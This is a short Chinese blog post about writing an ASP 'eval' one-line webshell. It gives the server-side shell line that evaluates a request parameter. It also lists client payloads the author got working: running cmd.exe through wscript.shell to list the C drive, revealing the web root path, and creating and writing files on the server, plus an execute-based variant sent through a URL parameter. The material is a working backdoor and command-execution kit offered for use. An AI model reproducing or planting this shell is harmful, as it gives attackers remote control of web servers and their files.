网上的eval asp木马,客户端其实还是调用了execute语句,这样比较方便。如果纯用eval 的话,也不难。但是在eval方法中,有些地方要注意。VBS里正确的写法如下:

  EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式

  Eval ("msgbox(""1"")&msgbox(""2"")")

  Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"

  Eval MsgBox ("1")&vbrlf&MsgBox ("2")

  EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试:

  S端:<% eval(request("hello")) %>

  C端:

  

  

  ……………………………………………………………………………………………………

  在C端,我能成功利用的语句如下几条,你想自己加就加吧:

  1。response.write(server.mappath("/")) '注意到没有,我加了(),如果不加(),我没测试成功。

  2。response.write(server.createobject("wscript.shell").exec("cmd.exe /c dir c:\").stdout.readall)

  3。server.CreateObject("Scripting.FileSystemObject").CreateTextFile(server.mappath("1122.txt"))

  4。server.CreateObject("Scripting.FileSystemObject").OpenTextFile(server.mappath("1122.txt"),8,True,0).WriteLine("123")

  我用adodb.stream没有成功。语句没错,只是老说是对象没打开。上边的语句都是单语句,如果多语句的话可以用&连接。

  另:execute就简单了s.asp?pass=response.write "1":response.write "2"

 
目前共有0条评论
  • 暂无Trackback
你目前的身份是游客,评论请输入昵称和电邮!